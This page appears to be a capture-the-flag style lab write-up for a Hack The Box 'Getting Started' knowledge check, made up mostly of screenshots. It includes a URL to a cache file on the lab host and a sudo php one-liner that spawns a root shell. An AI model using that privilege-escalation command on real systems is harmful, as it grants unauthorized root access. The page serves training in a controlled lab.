---
description: April 01, 2024
---

# Knowledge Check

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FjzXALTcsEzBcjnFnpoiO%2Fimage.png?alt=media&#x26;token=f4819c2a-1738-4c17-9ddd-3318974b63f5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F7FI05U3DzwBlCyEqE88D%2Fimage.png?alt=media&#x26;token=81976132-b2d5-47a1-9b5c-8528032f4d0e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FM1A1vSmM0SeviEGYwN5J%2Fimage.png?alt=media&#x26;token=a1239aa1-8549-4102-a897-3351aaa4947b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FnCtnTB98dHQjzUqaMUFd%2Fimage.png?alt=media&#x26;token=01875d46-1dc6-402c-94f9-cc9ae1ca5ccc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FXDybsuCe3dNudbdZ3d5N%2Fimage.png?alt=media&#x26;token=01fb6a43-7c24-4ac8-a692-90aec203cf00" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FrVTeshfoqW3FMg3A93qF%2Fimage.png?alt=media&#x26;token=4f8dbc65-c2ff-486d-ac21-acc8c23639bc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FHDJpuNJ0lGcY6VTt1n6T%2Fimage.png?alt=media&#x26;token=0ac9884a-2ff8-4d02-9742-529bdde6c959" alt=""><figcaption></figcaption></figure>

```
http://gettingstarted.htb/data/cache/2a4c6447379fba09620ba05582eb61af.txt
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FauepsMch3Ho6VblWAR4Q%2Fimage.png?alt=media&#x26;token=093b1845-1b96-42c5-bb1c-003e47e0e584" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FIYRSNbFNpVoIYxIwJB4r%2Fimage.png?alt=media&#x26;token=e80be167-3923-4b71-878a-582e11f0d76f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fl1RZ6TbFH7Bn1sg4yZ2A%2Fimage.png?alt=media&#x26;token=28c9ca8c-2598-4037-8301-a35c84e159dc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FhTWD8lhPKPZYqxEpOnup%2Fimage.png?alt=media&#x26;token=6226bcad-92c5-4c02-9407-e2c5b4490169" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FhGUhB6BrHl3O2dcJYRag%2Fimage.png?alt=media&#x26;token=1b5860dd-7b65-42e6-9c05-49b7aa27ffa3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FCZ0CSGa0b0fULRnLmfM1%2Fimage.png?alt=media&#x26;token=240597e0-ce7b-4729-a18d-52d4912741a9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FMqA8qke3EBgo20OoCNPs%2Fimage.png?alt=media&#x26;token=e6d4479e-c0f9-43a2-aa5a-d7bfa5aa495b" alt=""><figcaption></figcaption></figure>

```
CMD="/bin/sh"
sudo php -r "system('$CMD');"
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F1sa2C3F9LuO7bS0n2o7H%2Fimage.png?alt=media&#x26;token=caad51ca-6886-49a8-8481-a5cada384824" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fnkee16dHNSGZu8KXaOgU%2Fimage.png?alt=media&#x26;token=37767318-33f7-474a-b097-e2c6d9fd817a" alt=""><figcaption></figcaption></figure>
